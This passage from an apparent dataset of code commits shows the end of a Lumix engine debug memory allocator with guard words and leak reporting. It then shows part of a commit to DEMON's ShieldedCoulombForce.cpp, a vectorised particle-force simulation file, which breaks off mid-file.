(NewPlaceholder(), getAllocationInfoFromSystem(system_ptr)) AllocationInfo();\n\n\t\tinfo->previous = m_root->previous;\n\t\tm_root->previous->next = info;\n\n\t\tinfo->next = m_root;\n\t\tm_root->previous = info;\n\n\t\tm_root = info;\n\n\t\tm_total_size += size;\n\t} \/\/ because of the SpinLock\n\n\tvoid* user_ptr = getUserFromSystem(system_ptr, 0);\n\tinfo->stack_leaf = m_stack_tree.record();\n\tinfo->size = size;\n\tinfo->align = 0;\n\tif (m_is_fill_enabled)\n\t{\n\t\tmemset(user_ptr, UNINITIALIZED_MEMORY_PATTERN, size);\n\t}\n\n\tif (m_are_guards_enabled)\n\t{\n\t\t*(uint32*)system_ptr = ALLOCATION_GUARD;\n\t\t*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) = ALLOCATION_GUARD;\n\t}\n\n\treturn user_ptr;\n#endif\n}\n\nvoid Allocator::deallocate(void* user_ptr)\n{\n#ifndef _DEBUG\n\tm_source.deallocate(user_ptr);\n#else\n\tif (user_ptr)\n\t{\n\t\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\t\tvoid* system_ptr = getSystemFromUser(user_ptr);\n\t\tif (m_is_fill_enabled)\n\t\t{\n\t\t\tmemset(user_ptr, FREED_MEMORY_PATTERN, info->size);\n\t\t}\n\n\t\tif (m_are_guards_enabled)\n\t\t{\n\t\t\tASSERT(*(uint32*)system_ptr == ALLOCATION_GUARD);\n\t\t\tsize_t system_size = getNeededMemory(info->size);\n\t\t\tASSERT(*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) == ALLOCATION_GUARD);\n\t\t}\n\n\t\t{\n\t\t\tMT::SpinLock lock(m_mutex);\n\t\t\tif (info == m_root)\n\t\t\t{\n\t\t\t\tm_root = info->next;\n\t\t\t}\n\t\t\tinfo->previous->next = info->next;\n\t\t\tinfo->next->previous = info->previous;\n\n\t\t\tm_total_size -= info->size;\n\t\t} \/\/ because of the SpinLock\n\n\t\tinfo->~AllocationInfo();\n\n\t\tm_source.deallocate((void*)system_ptr);\n\t}\n#endif\n}\n\n\n} \/\/ namespace Debug\n\n\n\nvoid enableCrashReporting(bool enable)\n{\n\tg_is_crash_reporting_enabled = false;\n}\n\n\nvoid installUnhandledExceptionHandler()\n{\n}\n\n\n} \/\/ namespace Lumix\n<commit_msg>fixed linux build part #3<commit_after>#include \"engine\/debug\/debug.h\"\n#include \"engine\/mt\/atomic.h\"\n#include \"engine\/string.h\"\n#include \"engine\/system.h\"\n#include <cstdlib>\n#include <cstdio>\n\n\nstatic bool g_is_crash_reporting_enabled = false;\n\n\nnamespace Lumix\n{\n\n\nnamespace Debug\n{\n\n\nvoid debugOutput(const char* message)\n{\n\tputs(message);\n}\n\n\nvoid debugBreak()\n{\n\tabort();\n}\n\n\nint StackTree::s_instances = 0;\n\n\nclass StackNode\n{\npublic:\n\t~StackNode()\n\t{\n\t\tdelete m_next;\n\t\tdelete m_first_child;\n\t}\n\n\tvoid* m_instruction;\n\tStackNode* m_next;\n\tStackNode* m_first_child;\n\tStackNode* m_parent;\n};\n\n\nStackTree::StackTree()\n{\n}\n\n\nStackTree::~StackTree()\n{\n}\n\n\nvoid StackTree::refreshModuleList()\n{\n}\n\n\nint StackTree::getPath(StackNode* node, StackNode** output, int max_size)\n{\n\treturn 0;\n}\n\n\nStackNode* StackTree::getParent(StackNode* node)\n{\n\treturn nullptr;\n}\n\n\nbool StackTree::getFunction(StackNode* node, char* out, int max_size, int* line)\n{\n\treturn false;\n}\n\n\nvoid StackTree::printCallstack(StackNode* node)\n{\n}\n\n\nStackNode* StackTree::insertChildren(StackNode* root_node, void** instruction, void** stack)\n{\n\treturn nullptr;\n}\n\n\nStackNode* StackTree::record()\n{\n\treturn nullptr;\n}\n\n\nstatic const uint32 UNINITIALIZED_MEMORY_PATTERN = 0xCD;\nstatic const uint32 FREED_MEMORY_PATTERN = 0xDD;\nstatic const uint32 ALLOCATION_GUARD = 0xFDFDFDFD;\n\n\n\nAllocator::Allocator(IAllocator& source)\n\t: m_source(source)\n\t, m_root(nullptr)\n\t, m_mutex(false)\n\t, m_total_size(0)\n\t, m_is_fill_enabled(true)\n\t, m_are_guards_enabled(true)\n{\n\tm_sentinels[0].next = &m_sentinels[1];\n\tm_sentinels[0].previous = nullptr;\n\tm_sentinels[0].stack_leaf = nullptr;\n\tm_sentinels[0].size = 0;\n\tm_sentinels[0].align = 0;\n\n\tm_sentinels[1].next = nullptr;\n\tm_sentinels[1].previous = &m_sentinels[0];\n\tm_sentinels[1].stack_leaf = nullptr;\n\tm_sentinels[1].size = 0;\n\tm_sentinels[1].align = 0;\n\n\tm_root = &m_sentinels[1];\n}\n\n\nAllocator::~Allocator()\n{\n\tAllocationInfo* last_sentinel = &m_sentinels[1];\n\tif (m_root != last_sentinel)\n\t{\n\t\tdebugOutput(\"Memory leaks detected!\\n\");\n\t\tAllocationInfo* info = m_root;\n\t\twhile (info != last_sentinel)\n\t\t{\n\t\t\tchar tmp[2048];\n\t\t\tsprintf(tmp, \"\\nAllocation size : %zu, memory %p\\n\", info->size, info + sizeof(info));\n\t\t\tdebugOutput(tmp);\n\t\t\tm_stack_tree.printCallstack(info->stack_leaf);\n\t\t\tinfo = info->next;\n\t\t}\n\t\tASSERT(false);\n\t}\n}\n\n\nvoid Allocator::lock()\n{\n\tm_mutex.lock();\n}\n\n\nvoid Allocator::unlock()\n{\n\tm_mutex.unlock();\n}\n\n\nvoid Allocator::checkGuards()\n{\n\tif (m_are_guards_enabled) return;\n\n\tauto* info = m_root;\n\twhile (info)\n\t{\n\t\tauto user_ptr = getUserPtrFromAllocationInfo(info);\n\t\tvoid* system_ptr = getSystemFromUser(user_ptr);\n\t\tASSERT(*(uint32*)system_ptr == ALLOCATION_GUARD);\n\t\tASSERT(*(uint32*)((uint8*)user_ptr + info->size) == ALLOCATION_GUARD);\n\n\t\tinfo = info->next;\n\t}\n}\n\n\nsize_t Allocator::getAllocationOffset()\n{\n\treturn sizeof(AllocationInfo) + (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) : 0);\n}\n\n\nsize_t Allocator::getNeededMemory(size_t size)\n{\n\treturn size + sizeof(AllocationInfo) + (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) << 1 : 0);\n}\n\n\nsize_t Allocator::getNeededMemory(size_t size, size_t align)\n{\n\treturn size + sizeof(AllocationInfo) + (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) << 1 : 0) +\n\t\talign;\n}\n\n\nAllocator::AllocationInfo* Allocator::getAllocationInfoFromSystem(void* system_ptr)\n{\n\treturn (AllocationInfo*)(m_are_guards_enabled ? (uint8*)system_ptr + sizeof(ALLOCATION_GUARD)\n\t\t: system_ptr);\n}\n\n\nvoid* Allocator::getUserPtrFromAllocationInfo(AllocationInfo* info)\n{\n\treturn ((uint8*)info + sizeof(AllocationInfo));\n}\n\n\nAllocator::AllocationInfo* Allocator::getAllocationInfoFromUser(void* user_ptr)\n{\n\treturn (AllocationInfo*)((uint8*)user_ptr - sizeof(AllocationInfo));\n}\n\n\nuint8* Allocator::getUserFromSystem(void* system_ptr, size_t align)\n{\n\tsize_t diff = (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) : 0) + sizeof(AllocationInfo);\n\n\tif (align) diff += (align - diff % align) % align;\n\treturn (uint8*)system_ptr + diff;\n}\n\n\nuint8* Allocator::getSystemFromUser(void* user_ptr)\n{\n\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\tsize_t diff = (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) : 0) + sizeof(AllocationInfo);\n\tif (info->align) diff += (info->align - diff % info->align) % info->align;\n\treturn (uint8*)user_ptr - diff;\n}\n\n\nvoid* Allocator::reallocate(void* user_ptr, size_t size)\n{\n#ifndef _DEBUG\n\treturn m_source.reallocate(user_ptr, size);\n#else\n\tif (user_ptr == nullptr) return allocate(size);\n\tif (size == 0) return nullptr;\n\n\tvoid* new_data = allocate(size);\n\tif (!new_data) return nullptr;\n\n\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\tcopyMemory(new_data, user_ptr, info->size < size ? info->size : size);\n\n\tdeallocate(user_ptr);\n\n\treturn new_data;\n#endif\n}\n\n\nvoid* Allocator::allocate_aligned(size_t size, size_t align)\n{\n#ifndef _DEBUG\n\treturn m_source.allocate_aligned(size, align);\n#else\n\tvoid* system_ptr;\n\tAllocationInfo* info;\n\tuint8* user_ptr;\n\n\tsize_t system_size = getNeededMemory(size, align);\n\t{\n\t\tMT::SpinLock lock(m_mutex);\n\t\tsystem_ptr = m_source.allocate_aligned(system_size, align);\n\t\tuser_ptr = getUserFromSystem(system_ptr, align);\n\t\tinfo = new (NewPlaceholder(), getAllocationInfoFromUser(user_ptr)) AllocationInfo();\n\n\t\tinfo->previous = m_root->previous;\n\t\tm_root->previous->next = info;\n\n\t\tinfo->next = m_root;\n\t\tm_root->previous = info;\n\n\t\tm_root = info;\n\n\t\tm_total_size += size;\n\t} \/\/ because of the SpinLock\n\n\tinfo->align = uint16(align);\n\tinfo->stack_leaf = m_stack_tree.record();\n\tinfo->size = size;\n\tif (m_is_fill_enabled)\n\t{\n\t\tmemset(user_ptr, UNINITIALIZED_MEMORY_PATTERN, size);\n\t}\n\n\tif (m_are_guards_enabled)\n\t{\n\t\t*(uint32*)system_ptr = ALLOCATION_GUARD;\n\t\t*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) = ALLOCATION_GUARD;\n\t}\n\n\treturn user_ptr;\n#endif\n}\n\n\nvoid Allocator::deallocate_aligned(void* user_ptr)\n{\n#ifndef _DEBUG\n\tm_source.deallocate_aligned(user_ptr);\n#else\n\tif (user_ptr)\n\t{\n\t\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\t\tvoid* system_ptr = getSystemFromUser(user_ptr);\n\t\tif (m_is_fill_enabled)\n\t\t{\n\t\t\tmemset(user_ptr, FREED_MEMORY_PATTERN, info->size);\n\t\t}\n\n\t\tif (m_are_guards_enabled)\n\t\t{\n\t\t\tASSERT(*(uint32*)system_ptr == ALLOCATION_GUARD);\n\t\t\tsize_t system_size = getNeededMemory(info->size, info->align);\n\t\t\tASSERT(*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) == ALLOCATION_GUARD);\n\t\t}\n\n\t\t{\n\t\t\tMT::SpinLock lock(m_mutex);\n\t\t\tif (info == m_root)\n\t\t\t{\n\t\t\t\tm_root = info->next;\n\t\t\t}\n\t\t\tinfo->previous->next = info->next;\n\t\t\tinfo->next->previous = info->previous;\n\n\t\t\tm_total_size -= info->size;\n\t\t} \/\/ because of the SpinLock\n\n\t\tinfo->~AllocationInfo();\n\n\t\tm_source.deallocate_aligned((void*)system_ptr);\n\t}\n#endif\n}\n\n\nvoid* Allocator::reallocate_aligned(void* user_ptr, size_t size, size_t align)\n{\n#ifndef _DEBUG\n\treturn m_source.reallocate_aligned(user_ptr, size, align);\n#else\n\tif (user_ptr == nullptr) return allocate_aligned(size, align);\n\tif (size == 0) return nullptr;\n\n\tvoid* new_data = allocate_aligned(size, align);\n\tif (!new_data) return nullptr;\n\n\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\tcopyMemory(new_data, user_ptr, info->size < size ? info->size : size);\n\n\tdeallocate_aligned(user_ptr);\n\n\treturn new_data;\n#endif\n}\n\n\nvoid* Allocator::allocate(size_t size)\n{\n#ifndef _DEBUG\n\treturn m_source.allocate(size);\n#else\n\tvoid* system_ptr;\n\tAllocationInfo* info;\n\tsize_t system_size = getNeededMemory(size);\n\t{\n\t\tMT::SpinLock lock(m_mutex);\n\t\tsystem_ptr = m_source.allocate(system_size);\n\t\tinfo = new (NewPlaceholder(), getAllocationInfoFromSystem(system_ptr)) AllocationInfo();\n\n\t\tinfo->previous = m_root->previous;\n\t\tm_root->previous->next = info;\n\n\t\tinfo->next = m_root;\n\t\tm_root->previous = info;\n\n\t\tm_root = info;\n\n\t\tm_total_size += size;\n\t} \/\/ because of the SpinLock\n\n\tvoid* user_ptr = getUserFromSystem(system_ptr, 0);\n\tinfo->stack_leaf = m_stack_tree.record();\n\tinfo->size = size;\n\tinfo->align = 0;\n\tif (m_is_fill_enabled)\n\t{\n\t\tmemset(user_ptr, UNINITIALIZED_MEMORY_PATTERN, size);\n\t}\n\n\tif (m_are_guards_enabled)\n\t{\n\t\t*(uint32*)system_ptr = ALLOCATION_GUARD;\n\t\t*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) = ALLOCATION_GUARD;\n\t}\n\n\treturn user_ptr;\n#endif\n}\n\nvoid Allocator::deallocate(void* user_ptr)\n{\n#ifndef _DEBUG\n\tm_source.deallocate(user_ptr);\n#else\n\tif (user_ptr)\n\t{\n\t\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\t\tvoid* system_ptr = getSystemFromUser(user_ptr);\n\t\tif (m_is_fill_enabled)\n\t\t{\n\t\t\tmemset(user_ptr, FREED_MEMORY_PATTERN, info->size);\n\t\t}\n\n\t\tif (m_are_guards_enabled)\n\t\t{\n\t\t\tASSERT(*(uint32*)system_ptr == ALLOCATION_GUARD);\n\t\t\tsize_t system_size = getNeededMemory(info->size);\n\t\t\tASSERT(*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) == ALLOCATION_GUARD);\n\t\t}\n\n\t\t{\n\t\t\tMT::SpinLock lock(m_mutex);\n\t\t\tif (info == m_root)\n\t\t\t{\n\t\t\t\tm_root = info->next;\n\t\t\t}\n\t\t\tinfo->previous->next = info->next;\n\t\t\tinfo->next->previous = info->previous;\n\n\t\t\tm_total_size -= info->size;\n\t\t} \/\/ because of the SpinLock\n\n\t\tinfo->~AllocationInfo();\n\n\t\tm_source.deallocate((void*)system_ptr);\n\t}\n#endif\n}\n\n\n} \/\/ namespace Debug\n\n\n\nvoid enableCrashReporting(bool enable)\n{\n\tg_is_crash_reporting_enabled = false;\n}\n\n\nvoid installUnhandledExceptionHandler()\n{\n}\n\n\n} \/\/ namespace Lumix\n<|endoftext|>"}
{"text":"<commit_before>\/*===- ShieldedCoulombForce.cpp - libSimulation -===============================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#include \"ShieldedCoulombForce.h\"\n#include <cmath>\n#include <limits>\n\nusing namespace std;\n\nShieldedCoulombForce::ShieldedCoulombForce(Cloud * const myCloud, const double shieldingConstant)\n: Force(myCloud), shielding(shieldingConstant) {}\n\nvoid ShieldedCoulombForce::force1(const double currentTime)\n{\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]);\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]);\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\n\t\t\tforce(currentParticle, i, vx1 - _mm_load_pd(px2), vy1 - _mm_load_pd(py2));\n\t\t\tforcer(currentParticle, i, vx1 - _mm_loadr_pd(px2), vy1 - _mm_loadr_pd(py2));\n\t\t}\n\t}\n}\n\nvoid ShieldedCoulombForce::force2(const double currentTime)\n{\n\tconst __m128d v2 = _mm_set1_pd(2.0);\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]) + _mm_load_pd(&cloud->l1[currentParticle])\/v2;\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]) + _mm_load_pd(&cloud->n1[currentParticle])\/v2;\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\t\t\tconst double *pl = &cloud->l1[i];\n\t\t\tconst double *pn = &cloud->n1[i];\n            \n\t\t\tforce(currentParticle, i, vx1 - (_mm_load_pd(px2) + _mm_load_pd(pl)\/v2), \n\t\t\t\tvy1 - (_mm_load_pd(py2) + _mm_load_pd(pn)\/v2));\n            \n\t\t\tforcer(currentParticle, i, vx1 - (_mm_loadr_pd(px2) + _mm_loadr_pd(pl)\/v2), \n\t\t\t\tvy1 - (_mm_loadr_pd(py2) + _mm_loadr_pd(pn)\/v2));\n\t\t}\n\t}\n}\n\nvoid ShieldedCoulombForce::force3(const double currentTime)\n{\n\tconst __m128d v2 = _mm_set1_pd(2.0);\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]) + _mm_load_pd(&cloud->l2[currentParticle])\/v2;\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]) + _mm_load_pd(&cloud->n2[currentParticle])\/v2;\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\t\t\tconst double *pl = &cloud->l2[i];\n\t\t\tconst double *pn = &cloud->n2[i];\n\n\t\t\tforce(currentParticle, i, vx1 - (_mm_load_pd(px2) + _mm_load_pd(pl)\/v2), \n\t\t\t\tvy1 - (_mm_load_pd(py2) + _mm_load_pd(pn)\/v2));\n            \n\t\t\tforcer(currentParticle, i, vx1 - (_mm_loadr_pd(px2) + _mm_loadr_pd(pl)\/v2), \n \t\t\t\tvy1 - (_mm_loadr_pd(py2) + _mm_loadr_pd(pn)\/v2));\n\t\t}\n\t}\n}\n\nvoid ShieldedCoulombForce::force4(const double currentTime)\n{\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]) + _mm_load_pd(&cloud->l3[currentParticle]);\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]) + _mm_load_pd(&cloud->n3[currentParticle]);\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\t\t\tconst double *pl = &cloud->l3[i];\n\t\t\tconst double *pn = &cloud->n3[i];\n            \n\t\t\tforce(currentParticle, i, vx1 - (_mm_load_pd(px2) + _mm_load_pd(pl)), \n\t\t\t\tvy1 - (_mm_load_pd(py2) + _mm_load_pd(pn)));\n\n\t\t\tforcer(currentParticle, i, vx1 - (_mm_loadr_pd(px2) + _mm_loadr_pd(pl)), \n \t\t\t\tvy1 - (_mm_loadr_pd(py2) + _mm_loadr_pd(pn)));\n\t\t}\n\t}\n}\n\ninline void ShieldedCoulombForce::force(const unsigned int currentParticle, const unsigned int iParticle, const double displacementX, const double displacementY)\n{\n\t\/\/ Calculate displacement between particles.\n\tconst double displacement = sqrt(displacementX*displacementX + displacementY*displacementY);\n\tconst double valExp = displacement*shielding;\n\n\tif(valExp < 10.0) \t\/\/restrict to 10*(ion debye length)\n\t{\n\t\t \/\/conclude force calculation:\n\t\tconst double displacement3 = displacement*displacement*displacement;\n\t\t\/\/set to charges multiplied by Coulomb's constant:\n\t\tconst double exponential = (cloud->charge[currentParticle]*cloud->charge[iParticle])\/(4.0*M_PI*8.85E-12)*(1.0 + valExp)\/(displacement3*exp(valExp));\n\t\tcloud->forceX[currentParticle] += exponential*displacementX;\n\t\tcloud->forceY[currentParticle] += exponential*displacementY;\n\n\t\t\/\/equal and opposite force:\n\t\tcloud->forceX[iParticle] -= exponential*displacementX;\n\t\tcloud->forceY[iParticle] -= exponential*displacementY;\n\t}\n}\n\ninline void ShieldedCoulombForce::force(const unsigned int currentParticle, const unsigned int iParticle, const __m128d displacementX, const __m128d displacementY)\n{\n\t\/\/ Calculate displacement between particles.\n\tconst __m128d displacement = _mm_sqrt_pd(displacementX*displacementX + displacementY*displacementY);\n\tconst __m128d valExp = displacement*_mm_set_pd(shielding, shielding);\n\t\n\tdouble valExpL, valExpH;\n\t_mm_storel_pd(&valExpL, valExp);\n\t_mm_storeh_pd(&valExpH, valExp);\n\t\n\tconst bool boolL = valExpL < 10.0;\n\tconst bool boolH = valExpH < 10.0;\n\tif (!boolL && !boolH)\n\t\treturn;\n\n\tdouble expL, expH;\n\t_mm_storel_pd(&expL, valExp);\n\t_mm_storeh_pd(&expH, valExp);\n\t\n\t__m128d expv = _mm_set_pd(boolH ? exp(-expH) : 0.0, \/\/_mm_set_pd is backwards\n\t\t\t\t\t\t\t  boolL ? exp(-expL) : 0.0);\n\n\t\/\/conclude force calculation:\n\tconst __m128d displacement3 = displacement*displacement*displacement;\n\t\/\/set to charges multiplied by Coulomb's constant:\n\tconst double c = 4.0*M_PI*8.85E-12;\n\tconst __m128d exponential = _mm_load_pd(&cloud->charge[currentParticle])*_mm_load_pd(&cloud->charge[iParticle])\n\t\t\/_mm_set_pd(c, c)*(_mm_set1_pd(1.0) + valExp)\/displacement3*expv;\n\t\n\tconst __m128d forcevX = exponential*displacementX;\n\tconst __m128d forcevY = exponential*displacementY;\n\n\tdouble *pFx = &cloud->forceX[currentParticle];\n\tdouble *pFy = &cloud->forceY[currentParticle];\n\t_mm_store_pd(pFx, _mm_load_pd(pFx) + forcevX);\n\t_mm_store_pd(pFy, _mm_load_pd(pFy) + forcevY);\n\n\t\/\/equal and opposite force:\n\tpFx = &cloud->forceX[iParticle];\n\tpFy = &cloud->forceY[iParticle];\n\t_mm_store_pd(pFx, _mm_load_pd(pFx) - forcevX);\n\t_mm_store_pd(pFy, _mm_load_pd(pFy) - forcevY);\n}\n\ninline void ShieldedCoulombForce::forcer(const unsigned int currentParticle, const unsigned int iParticle, const __m128d displacementX, const __m128d displacementY)\n{\n\t\/\/ Calculate displacement between particles.\n\tconst __m128d displacement = _mm_sqrt_pd(displacementX*displacementX + displacementY*displacementY);\n\tconst __m128d valExp = displacement*_mm_set_pd(shielding, shielding);\n\t\n\tdouble valExpL, valExpH;\n\t_mm_storel_pd(&valExpL, valExp);\n\t_mm_storeh_pd(&valExpH, valExp);\n\t\n\tconst bool boolL = valExpL < 10.0;\n\tconst bool boolH = valExpH < 10.0;\n\tif (!boolL && !boolH)\n\t\treturn;\n\t\n\tdouble expL, expH;\n\t_mm_storel_pd(&expL, valExp);\n\t_mm_storeh_pd(&expH, valExp);\n\t\n\t__m128d expv = _mm_set_pd(boolH ? exp(-expH) : 0.0, \/\/_mm_set_pd is backwards\n\t\t\t\t\t\t\t  boolL ? exp(-expL) : 0.0);\n    \n\t\/\/conclude force calculation:\n\tconst __m128d displacement3 = displacement*displacement*displacement;\n\t\/\/set to charges multiplied by Coulomb's constant:\n\tconst double c = 4.0*M_PI*8.85e-12;\n\tconst __m128d exponential = _mm_load_pd(&cloud->charge[currentParticle])*_mm_loadr_pd(&cloud->charge[iParticle])\n\t\t\/_mm_set_pd(c, c)*(_mm_set1_pd(1.0) + valExp)\/displacement3*expv;\n\n\tconst __m128d forcevX = exponential*displacementX;\n\tconst __m128d forcevY = exponential*displacementY;\n\n\tdouble *pFx = &cloud->forceX[currentParticle];\n\tdouble *pFy = &cloud->forceY[currentParticle];\n\t_mm_store_pd(pFx, _mm_load_pd(pFx) + forcevX);\n\t_mm_store_pd(pFy, _mm_load_pd(pFy) + forcevY);\n\n\t\/\/equal and opposite force:\n\tpFx = &cloud->forceX[iParticle];\n\tpFy = &cloud->forceY[iParticle]; \n\t_mm_storer_pd(pFx, _mm_loadr_pd(pFx) - forcevX);\n\t_mm_storer_pd(pFy, _mm_loadr_pd(pFy) - forcevY);\n}\n\nvoid ShieldedCoulombForce::writeForce(fitsfile * const file, int * const error) const\n{\n\t\/\/move to primary HDU:\n\tif(!*error)\n\t\t\/\/file, # indicating primary HDU, HDU type, error\n \t\tfits_movabs_hdu(file, 1, IMAGE_HDU, error);\n\t\n\t\/\/add flag indicating that the drag force is used:\n\tif(!*error) \n\t{\n\t\tlong forceFlags = 0;\n\t\tfits_read_key_lng(file, const_cast<char *> (\"FORCES\"), &forceFlags, NULL, error);\n\n\t\t\/\/add ShieldedCoulombForce bit:\n\t\tforceFlags |= ShieldedCoulombForceFlag;\t\t\/\/compound bitwise OR\n\n\t\tif(*error == KEY_NO_EXIST || *error == VALUE_UNDEFINED)\n\t\t\t*error = 0;\t\t\t\/\/clear above error.\n\n\t\t\/\/add or update keyword.\n\t\tif(!*error) \n\t\t\tfits_update_key(file, TLONG, const_cast<char *> (\"FORCES\"), &forceFlags, const_cast<char *> (\"Force configuration.\"), error);\n\t}\n\n\tif(!*error)\n\t\t\/\/file, key name, value, precision (scientific format), comment\n\t\tfits_write_key_dbl(file, const_cast<char *> (\"shieldingConstant\"), shielding, 6, const_cast<char *> (\"[m^-1] (ShieldedCoulombForce)\"), error);\n}\n\nvoid ShieldedCoulombForce::readForce(fitsfile * const file, int * const error)\n{\n\t\/\/move to primary HDU:\n\tif(!*error)\n\t\t\/\/file, # indicating primary HDU, HDU type, error\n \t\tfits_movabs_hdu(file, 1, IMAGE_HDU, error);\n\t\n\tif(!*error)\n\t\t\/\/file, key name, value, don't read comment, error\n\t\tfits_read_key_dbl(file, const_cast<char *> (\"shieldingConstant\"), &shielding, NULL, error);\n}\n<commit_msg>Remove no longer used include.<commit_after>\/*===- ShieldedCoulombForce.cpp - libSimulation -===============================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#include \"ShieldedCoulombForce.h\"\n#include <cmath>\n\nusing namespace std;\n\nShieldedCoulombForce::ShieldedCoulombForce(Cloud * const myCloud, const double shieldingConstant)\n: Force(myCloud), shielding(shieldingConstant) {}\n\nvoid ShieldedCoulombForce::force1(const double currentTime)\n{\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]);\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]);\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\n\t\t\tforce(currentParticle, i, vx1 - _mm_load_pd(px2), vy1 - _mm_load_pd(py2));\n\t\t\tforcer(currentParticle, i, vx1 - _mm_loadr_pd(px2), vy1 - _mm_loadr_pd(py2));\n\t\t}\n\t}\n}\n\nvoid ShieldedCoulombForce::force2(const double currentTime)\n{\n\tconst __m128d v2 = _mm_set1_pd(2.0);\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]) + _mm_load_pd(&cloud->l1[currentParticle])\/v2;\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]) + _mm_load_pd(&cloud->n1[currentParticle])\/v2;\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\t\t\tconst double *pl = &cloud->l1[i];\n\t\t\tconst double *pn = &cloud->n1[i];\n            